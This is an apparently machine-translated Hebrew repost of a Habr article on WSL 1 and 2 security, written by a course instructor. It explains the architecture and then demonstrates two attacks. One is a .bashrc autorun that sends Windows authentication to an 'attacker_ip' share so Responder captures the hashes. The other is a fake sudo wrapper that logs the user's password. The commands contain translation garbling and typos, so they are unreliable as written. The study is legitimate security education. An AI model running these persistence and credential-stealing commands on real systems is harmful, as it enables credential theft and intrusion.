ניסויי WSL. חלק 1

שלום, האבר! OTUS משיקה זרם קורס חדש באוקטובר "אבטחת לינוקס". לקראת תחילת הקורס, אנו משתפים אתכם במאמר שנכתב על ידי אחד המורים שלנו, אלכסנדר קולסניקוב.

בשנת 2016, מיקרוסופט הציגה את טכנולוגיית WSL החדשה לקהילת ה-IT (Windows Sמערכת תת עבור Linux), אשר איפשרה בעתיד לאחד מתחרים בלתי ניתנים לגישור בעבר, שנאבקו על הפופולריות בקרב משתמשי מערכת הפעלה רגילים ומתקדמים כאחד: Windows ולינוקס. טכנולוגיה זו אפשרה להשתמש בכלי מערכת ההפעלה Linux בסביבת Windows ללא צורך בהפעלת לינוקס, למשל באמצעות Multi-boot. באתר Habr ניתן למצוא מספר רב של מאמרים המתארים את היתרונות של השימוש ב-WSL. עם זאת, למרבה הצער, בזמן יצירת מאמר זה, לא נמצאו מחקרים על האבטחה של סימביוזה כזו של מערכות הפעלה על משאב זה. הפוסט הזה יהיה ניסיון לתקן זאת. המאמר ידבר על התכונות של ארכיטקטורות WSL 1 ו-2 ויבחן מספר דוגמאות של התקפות על מערכות המשתמשות בטכנולוגיות אלו. המאמר מחולק ל-2 חלקים. הראשון יספק את שיטות ההתקפה התיאורטיות העיקריות מ-Linux ו-Windows. המאמר השני יכלול הקמת סביבת בדיקה ושחזור ההתקפות.

WSL 1: מאפיינים אדריכליים

לצלילה המדויקת ביותר לבעיות אבטחת WSL, יש צורך לקבוע את הניואנסים העיקריים הקשורים ליישום תת-המערכת. אחת ממשימות המשתמש העיקריות שנפתרה על ידי WSL היא היכולת לעבוד דרך מסוף לינוקס על מארח המריץ את מערכת ההפעלה Windows. כמו כן, התאימות שהוצעה הייתה כל כך מקורית עד שניתן היה להפעיל קובצי הפעלה של לינוקס (ELFs) ישירות על מערכת Windows. כדי להשיג את המטרות הללו, נוצרה תת-מערכת מיוחדת ב-Windows 10 המאפשרת להריץ אפליקציות לינוקס באמצעות סט קריאות מערכת ספציפיות - כך נעשה ניסיון למפות סט של מערכת מערכות לינוקס ב-Windows. זה יושם פיזית על ידי הוספת מנהלי התקנים חדשים ופורמט תהליך חדש. מבחינה ויזואלית הארכיטקטורה נראתה כך:

למעשה, האינטראקציה עם מערכת ההפעלה לינוקס אורגנה באמצעות מספר מודולי ליבה וסוג מיוחד של תהליך - pico. מהתרשים שלמעלה, אתה יכול לראות שהתהליך שפועל על מופע Linux במארח חייב להיות מקורי וחייב להשתמש באותם משאבים כמו יישומי Windows רגילים. אבל איך להשיג זאת? בפרויקט Drawbridge פותחו מושגי תהליכים עבור Windows שסיפקו את כל הרכיבים הדרושים למערכת ההפעלה (בהתאם לגרסה שלה) להפעלת אפליקציה של מערכת הפעלה אחרת.

שימו לב שההפשטה המוצעת אפשרה לא להתמקד במערכת ההפעלה (בפרט, Windows), שבה צפוי להתחיל תהליך של מערכת הפעלה אחרת, והציעה גישה כללית.

לפיכך, כל יישום בתוך תהליך pico יכול לפעול ללא קשר לליבת Windows:

1. בעיות של תאימות ותרגום של שיחות מערכת חייבות להיפתר על ידי ספקים מיוחדים;
2. בקרת הגישה חייבת להתבצע באמצעות מוניטור האבטחה. המוניטור ממוקם בקרנל ולכן חלונות נזקקו לשדרוג בדמות דרייבר חדש שיוכל לשמש כספק לתהליכים כאלה. תהליך האב-טיפוס של פיקו מוצג באופן סכמטי להלן:

מכיוון שמערכת הקבצים לינוקס משתמשת בשמות קבצים וספריות תלויי-רישיות, נוספו 2 סוגים של מערכות קבצים ל-Windows כדי לעבוד עם WSL - VolFS ו-DriveFS. VolFS היא יישום של מערכת הקבצים לינוקס, DriveFS היא מערכת קבצים שפועלת לפי כללי Windows, אך בעלת יכולת לבחור רגישות רישיות.

WSL 2

ל-WSL 1 היו מספר מגבלות שלא אפשרו להשתמש בו כדי לפתור את מגוון המשימות המקסימלי: למשל, לא הייתה לו יכולת להריץ יישומי לינוקס של 32 סיביות, ואי אפשר היה להשתמש במנהלי התקנים. לכן, בשנת 2020, שוחרר WSL 2, ששינה את הגישה לבניית תת-המערכת. WSL 2 הוא מכונה וירטואלית מותאמת התואמת את מאפייני צריכת המשאבים של WSL 1. כעת, בהתאם לבעיות שנפתרו על ידי משתמש מערכת ההפעלה Windows, אתה יכול לבחור את הגרסה הנדרשת של תת-מערכת לינוקס. כדי לצמצם פגיעויות אפשריות, WSL 2 הוטמע בהתבסס על Hyper-V ב-Windows 10. בצורה זו, ל-Windows יש את היכולת להריץ את ליבת מערכת ההפעלה לינוקס בבידוד. כדאי לזכור שגרסה 1 של WSL הוצגה כפיצ'ר בטא שאמור היה להראות את כיוון הפיתוח של Windows בתחום זה, כך שהמעבר ל-Hyper-V היה בלתי נמנע. הארכיטקטורה הסופית נראית כך:

בגרסה זו, לגרעיני Windows ולינוקס יש משאבים משלהם והצומת קיימת רק במערכת הקבצים, אך צומת זה אינו שלם. אינטראקציה בין מערכות קבצים מתבצעת באמצעות מעטפת שרת-לקוח הפועלת באמצעות פרוטוקול 9P.

כיום מיקרוסופט מספקת את היכולת לעבור בין WSL 1 ל-WSL 2. שתי הגרסאות זמינות לשימוש.

אבטחת WSL

כרגע, ישנן מספר עבודות המתארות כמה גישות לשימוש בכלי מערכת הפעלה לגיטימיים כדי לתקוף את התקשורת בין תת-מערכות. אנו נשתמש בסקריפטים שלהם כדי לבדוק את הרלוונטיות של ההתקפות בזמן הכתיבה. רשימה כללית של התקפות ותרחישים:

1. הטמעת מערכת קבצים: זכויות גישה, זמינות של ספריות משותפות/מנגנוני חילופי נתונים.

מחקר נערך כדי לקבוע הפרות של כללי גישה מ Linux FS->Windows FS, Windows FS->Linux FS. מחקר הוכיח את היכולת לשנות קובץ נתון בתוך מערכת ההפעלה של היעד. כמו כן נעשו ניסיונות להחליף, ליצור כפילויות ולמחוק חלק ממערכות הקבצים.

תרחיש:

• א. התקפה ממערכת ההפעלה Windows - שינוי קבצים מספריית /etc של מערכת ההפעלה לינוקס.
• ב. התקפה ממערכת ההפעלה לינוקס - שינוי קבצים בספריות: C:Windows, C:Program Files, C:Users<User>

2. יישום מחסנית הרשת.

המחקר בוצע באמצעות דוגמאות של התקפות ממערכת ההפעלה לינוקס על חלונות. נעשה שימוש בתכונות של מחסנית הרשת, כלומר, מנגנוני אימות במשאבים שונים.

תרחיש:

• פתיחת גישה ליציאה שתפוסה במערכת Windows
• פתיחת נמל ללא הזכויות המתאימות
• הפעלת מעטפת הפוכה באמצעות קובץ elf במערכת ההפעלה Windows.

3. הסתרת השקת תהליכי תוכנה זדוניים באמצעות תת-המערכת WSL.

המחקר התבסס על עובדה פשוטה - תת-מערכות אבטחה לא יכולות ליירט אירועים בליבה אחרת שעובדת באמצעות ספק לגיטימי ממערכת ההפעלה במקרה של WSL 1. במקרה של WSL 2, אין דרך לראות אירועים המתרחשים בליבה נפרדת בתוך מכונה וירטואלית קלת משקל.

תרחיש:

1) הפעל את האפליקציה לגישה מרחוק למערכת והצג את האירועים שנרשמו.

ניסויי WSL 1: יירוט גיבוב (Windows)

לבסוף הגענו לחלק המעשי. ראשית, עליך להגדיר את סביבת הבדיקה. כל הניסויים יתבצעו על ספסל עם Windows 10 2004. תמונת Ubuntu 18.04 נבחרה כתמונת מערכת ההפעלה עבור WSL. התמונה נבחרה באקראי, וכל תמונה אחרת תעבוד אותו הדבר. פקודות להקמת דוכן:

תחילה עליך להפעיל powershell.exe כמנהל.

עבור WSL 1 אתה צריך להפעיל את הפקודות:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

לאחר אתחול מחדש של המעמד, אתה יכול לקרוא לפקודה bash. אם הכל עבד כשורה, תראה פלט דומה לזה בקונסולת Windows:

אנו נשתמש בהפצת Kali Linux כמחשב של התוקף; כל המכונות חייבות להיות באותה רשת מקומית.

נניח שיש לנו גישה ללא פריבילגיה ל-WSL במחשב Windows. בואו ננסה לתקוף את מערכת ההפעלה לינוקס על ידי קריאה לפקודה מ-Linux. כדי ליישם את המתקפה, נשתמש בטכניקת הפעלה אוטומטית פשוטה – נוסיף את הסקריפט שלנו לביצוע בסביבת לינוקס. לשם כך עליך לשנות את הקובץ .bashrc.

במכונה עם WSL אנו מבצעים:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

על מכונת Kali Linux אנו מריצים:

1. Responder -I eth0 -rdvw

במחשב Windows, בואו נפעיל את bash.

אנו מחכים לתוצאה על מכונת Kali Linux:

לפיכך, השגנו את ה-hash של משתמשי Windows דרך תת-המערכת WSL על ידי ביצוע הפקודה במערכת לינוקס.

ניסויי WSL 1: השגת סיסמת משתמש (Linux OS)

בואו נעשה עוד ניסוי אחד. במהלך בדיקה זו נוסיף לקובץ .bashrc מספר פקודות על מנת לקבל את סיסמת המשתמש של מערכת ההפעלה לינוקס.

בואו נפעיל את bash ונזין את הפקודות:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

כדי להשלים את המתקפה בהצלחה, המשתמש סם צריך לקרוא ל-sudo במסוף לינוקס. לאחר מכן, סיסמת המשתמש של Linux OS תהיה בקובץ pass.txt:

יישום ההתקפות ניתן למידע תיאורטי בלבד.

החלק הבא של המאמר יתאר את היישום של פרוטוקול 9P, ישקול יצירת סורק עבור פרוטוקול זה, וגם יבצע תקיפה באמצעותו.

רשימת ספרות משומשות

• WSL 2 מחקר לתוך רעות
• מערכת המשנה של Windows עבור תיעוד לינוקס

קרא עוד

• כיצד לבחור תוכנת תיקון ליבות לינוקס בזמן אמת

מקור: www.habr.com